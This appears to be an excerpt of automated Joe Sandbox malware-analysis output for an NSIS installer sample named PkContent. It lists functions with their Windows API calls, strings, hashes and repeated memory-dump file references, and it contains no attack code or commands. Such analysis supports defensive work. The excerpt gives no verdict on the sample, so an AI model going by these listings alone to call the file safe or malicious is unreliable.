Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction ID: b44593247c4c050b0e646bb53675e7b1a8962b0b92449cff70e8ee1879f4dc4f
Opcode Fuzzy Hash: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction Fuzzy Hash: 00F14871908249DBDF18CF28C8946E93BB1FF44345F14852AFD5A9B281D338E986DF86

Function 004062FC Relevance: 4.5, APIs: 3, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
GetProcAddress.KERNEL32(00000000), ref: 00406327

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction ID: 23f85fcbdf3119ad7ff9d94b99dcad510d7c567b01d836bd9cab37df641e0753
Opcode Fuzzy Hash: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction Fuzzy Hash: 53D0123120010597C6001B65AE0895F776CEF95611707803EF542F3132EB34D415AAEC

Function 004062D5 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
FindClose.KERNEL32(00000000), ref: 004062EC

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction ID: 3dd5e1b78c12f0f437ff376ab6b0e1f90f8becb0d3509d6a9a7f52ed6ae53baf
Opcode Fuzzy Hash: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction Fuzzy Hash: 7AD0C9315041205BC25127386E0889B6A589F163723258A7AB5A6E11E0CB388C2296A8

Function 00405479 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004054B5
ShowWindow.USER32(?), ref: 004054D2
DestroyWindow.USER32 ref: 004054E6
SetWindowLongW.USER32(?,00000000,00000000), ref: 00405502
GetDlgItem.USER32(?,?), ref: 00405523
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00405537
IsWindowEnabled.USER32(00000000), ref: 0040553E
GetDlgItem.USER32(?,00000001), ref: 004055ED
GetDlgItem.USER32(?,00000002), ref: 004055F7
SetClassLongW.USER32(?,000000F2,?), ref: 00405611
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00405662
GetDlgItem.USER32(?,00000003), ref: 00405708
ShowWindow.USER32(00000000,?), ref: 0040572A
KiUserCallbackDispatcher.NTDLL(?,?), ref: 0040573C
EnableWindow.USER32(?,?), ref: 00405757
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040576D
EnableMenuItem.USER32(00000000), ref: 00405774
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040578C
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040579F
lstrlenW.KERNEL32(00447240,?,00447240,0046ADC0), ref: 004057C8
SetWindowTextW.USER32(?,00447240), ref: 004057DC
ShowWindow.USER32(?,0000000A), ref: 00405910

Strings

@rD, xrefs: 004057B9

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: @rD
API String ID: 3282139019-3814967855
Opcode ID: 892c705fd8619986465a6960d4e81f7d1e8168c1c52714a2b5abc7a1d7472251
Instruction ID: 0f9b988f21b44e482dc064b3562f20aa73efc2902ac8c6ffeb9ddf27563d0ddb
Opcode Fuzzy Hash: 892c705fd8619986465a6960d4e81f7d1e8168c1c52714a2b5abc7a1d7472251
Instruction Fuzzy Hash: D8C1C371500A04EBDB216F61EE49E2B3BA9EB45345F00093EF551B12F0DB799891EF2E

Function 004015A0 Relevance: 56.4, APIs: 15, Strings: 17, Instructions: 351
sleepfilewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 00401648
Sleep.KERNELBASE(00000000,?,00000000,00000000,00000000), ref: 004016B2
SetForegroundWindow.USER32(?), ref: 004016CB
ShowWindow.USER32(?), ref: 00401753
ShowWindow.USER32(?), ref: 00401767
SetFileAttributesW.KERNEL32(00000000,00000000,?,000000F0), ref: 0040178C
CreateDirectoryW.KERNELBASE(?,00000000,00000000,0000005C,?,?,?,000000F0,?,000000F0), ref: 004017F4
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 004017FE
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 0040180B
GetFileAttributesW.KERNELBASE(?,?,?,000000F0,?,000000F0), ref: 0040182A
SetCurrentDirectoryW.KERNELBASE(?,004CB0B0,?,000000E6,0040F0D0,?,?,?,000000F0,?,000000F0), ref: 00401885
MoveFileW.KERNEL32(00000000,?), ref: 00401908
GetFullPathNameW.KERNEL32(00000000,00002004,00000000,?,00000000,000000E3,0040F0D0,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 00401975
GetShortPathNameW.KERNEL32(00000000,00000000,00002004), ref: 004019BF
SearchPathW.KERNELBASE(00000000,00000000,00000000,00002004,00000000,?,000000FF,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 004019DE

Strings

CreateDirectory: can't create "%s" - a file already exists, xrefs: 00401837
SetFileAttributes: "%s":%08X, xrefs: 0040177B
detailprint: %s, xrefs: 00401679
Jump: %d, xrefs: 00401602
Call: %d, xrefs: 0040165A
Rename failed: %s, xrefs: 0040194B
Rename on reboot: %s, xrefs: 00401943
IfFileExists: file "%s" exists, jumping %d, xrefs: 004018AD
CreateDirectory: "%s" created, xrefs: 00401849
SetFileAttributes failed., xrefs: 004017A1
Sleep(%d), xrefs: 0040169D
IfFileExists: file "%s" does not exist, jumping %d, xrefs: 004018C6
CreateDirectory: "%s" (%d), xrefs: 004017BF
BringToFront, xrefs: 004016BD
Aborting: "%s", xrefs: 0040161D
CreateDirectory: can't create "%s" (err=%d), xrefs: 00401815
Rename: %s, xrefs: 004018F8

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: FilePathWindow$AttributesDirectoryErrorLastNameShow$CreateCurrentForegroundFullMessageMovePostQuitSearchShortSleep
String ID: Aborting: "%s"$BringToFront$Call: %d$CreateDirectory: "%s" (%d)$CreateDirectory: "%s" created$CreateDirectory: can't create "%s" (err=%d)$CreateDirectory: can't create "%s" - a file already exists$IfFileExists: file "%s" does not exist, jumping %d$IfFileExists: file "%s" exists, jumping %d$Jump: %d$Rename failed: %s$Rename on reboot: %s$Rename: %s$SetFileAttributes failed.$SetFileAttributes: "%s":%08X$Sleep(%d)$detailprint: %s
API String ID: 2872004960-3619442763
Opcode ID: e7226c198396c3fe3a7f3bea8c4d52a2e846d2bb9e79691e18455936b93e1c7d
Instruction ID: b6b48939bc8a7188504c618ab7841b31fdd5898bf24c808f75461ec369738802
Opcode Fuzzy Hash: e7226c198396c3fe3a7f3bea8c4d52a2e846d2bb9e79691e18455936b93e1c7d
Instruction Fuzzy Hash: 0AB1F471A00204ABDB10BF61DD46DAE3B69EF44314B21817FF946B21E1DA7D4E40CAAE

Function 0040592C Relevance: 45.7, APIs: 15, Strings: 11, Instructions: 233
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

lstrcatW.KERNEL32(004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0,-00000002,00000000,004D70C8,00403AC1,?), ref: 004059AE
lstrlenW.KERNEL32(00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0), ref: 00405A30
lstrcmpiW.KERNEL32(00462538,.exe,00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000), ref: 00405A43
GetFileAttributesW.KERNEL32(00462540), ref: 00405A4E

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004C70A8), ref: 00405AB7
RegisterClassW.USER32(0046AD60), ref: 00405B0A
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405B22
CreateWindowExW.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405B5B

Part of subcall function 00403E95: SetWindowTextW.USER32(00000000,0046ADC0), ref: 00403F30

ShowWindow.USER32(00000005,00000000), ref: 00405B91
LoadLibraryW.KERNELBASE(RichEd20), ref: 00405BA2
LoadLibraryW.KERNEL32(RichEd32), ref: 00405BAD
GetClassInfoW.USER32(00000000,RichEdit20A,0046AD60), ref: 00405BBD
GetClassInfoW.USER32(00000000,RichEdit,0046AD60), ref: 00405BCA
RegisterClassW.USER32(0046AD60), ref: 00405BD3
DialogBoxParamW.USER32(?,00000000,00405479,00000000), ref: 00405BF2

Strings

RichEd32, xrefs: 00405BA8
RichEdit20A, xrefs: 00405BB6, 00405BBB
_Nb, xrefs: 00405AD1
.DEFAULT\Control Panel\International, xrefs: 00405999
RichEdit, xrefs: 00405BC4
RichEd20, xrefs: 00405B9D
@rD, xrefs: 00405965
.exe, xrefs: 00405A3D
Control Panel\Desktop\ResourceLocale, xrefs: 00405972
B%F, xrefs: 00405A1F
@%F, xrefs: 004059F6

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: ClassLoad$InfoLibraryWindow$Register$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemTextlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$@%F$@rD$B%F$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 608394941-1650083594
Opcode ID: 18be7924d3bcca259bbbf180237d25193f30e5c9112311b2c349bb590eb249de
Instruction ID: 271ce27004ef92612bfc9362a6cc74883a37054a4c8cca7c49d128c059fded9a
Opcode Fuzzy Hash: 18be7924d3bcca259bbbf180237d25193f30e5c9112311b2c349bb590eb249de
Instruction Fuzzy Hash: 5E71A370604B04AED721AB65EE85F2736ACEB44749F00053FF945B22E2D7B89D418F6E

Function 00401A1F Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 185
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

lstrcatW.KERNEL32(00000000,00000000,TravelersDevelopingImpactsJewsInstructorOriginal,004CB0B0,00000000,00000000), ref: 00401A76
CompareFileTime.KERNEL32(-00000014,?,TravelersDevelopingImpactsJewsInstructorOriginal,TravelersDevelopingImpactsJewsInstructorOriginal,00000000,00000000,TravelersDevelopingImpactsJewsInstructorOriginal,004CB0B0,00000000,00000000), ref: 00401AA0

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Strings

File: wrote %d to "%s", xrefs: 00401BD0
TravelersDevelopingImpactsJewsInstructorOriginal, xrefs: 00401A53, 00401A5C, 00401A69, 00401A7B, 00401A8C, 00401AC2, 00401AD8, 00401AEF, 00401B07, 00401B5E, 00401B80, 00401BCE, 00401C10, 00401C19, 00401C23, 00401C29, 00401C3B
File: error, user cancel, xrefs: 00401B93
File: error, user retry, xrefs: 00401B40
File: error creating "%s", xrefs: 00401AF0
File: skipped: "%s" (overwriteflag=%d), xrefs: 00401B81
File: error, user abort, xrefs: 00401B53
File: overwriteflag=%d, allowskipfilesflag=%d, name="%s", xrefs: 00401A39

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$CompareFileTextTimeWindowlstrcpynwvsprintf
String ID: File: error creating "%s"$File: error, user abort$File: error, user cancel$File: error, user retry$File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"$File: skipped: "%s" (overwriteflag=%d)$File: wrote %d to "%s"$TravelersDevelopingImpactsJewsInstructorOriginal
API String ID: 4286501637-4034153992
Opcode ID: b6a2df31382c61c88927ef82d5f6ae0aba2303a4f2552ab8741c3bf9876e390d
Instruction ID: fe683e2e252f9e2189d7cf48164ff2fe6631720e8c40e43e96375682ff159270
Opcode Fuzzy Hash: b6a2df31382c61c88927ef82d5f6ae0aba2303a4f2552ab8741c3bf9876e390d
Instruction Fuzzy Hash: 9D510871901114BADF10BBB1CD46EAE3A68DF05369F21413FF416B10D2EB7C5A518AAE

Function 00403587 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403598
GetModuleFileNameW.KERNEL32(00000000,004DF0D8,00002004,?,?,?,00000000,00403A47,?), ref: 004035B4

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

GetFileSize.KERNEL32(00000000,00000000,004E30E0,00000000,004CF0B8,004CF0B8,004DF0D8,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00403600

Strings

Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004037C5
soft, xrefs: 00403675
Error launching installer, xrefs: 004035D7
Null, xrefs: 0040367E
Inst, xrefs: 0040366C

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-527102705
Opcode ID: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
Instruction ID: 97831ba7e8e922ff386f77eab0e0d18630bd2de4bbb47cca7d976ce2c46b30f6
Opcode Fuzzy Hash: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
Instruction Fuzzy Hash: 3151D5B1900204AFDB219F65CD85B9E7EB8AB14756F10803FE605B72D1D77D9E808B9C

Function 0040337F Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 166
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004033E7
GetTickCount.KERNEL32 ref: 00403464
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403491
wsprintfW.USER32 ref: 004034A4
WriteFile.KERNELBASE(00000000,00000000,?,7FFFFFFF,00000000), ref: 004034D3
WriteFile.KERNEL32(00000000,0041F150,?,00000000,00000000,0041F150,?,000000FF,00000004,00000000,00000000,00000000), ref: 0040356A

Strings

... %d%%, xrefs: 0040349E
X1C, xrefs: 004033ED
X1C, xrefs: 0040343C
P1B, xrefs: 004033A9

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
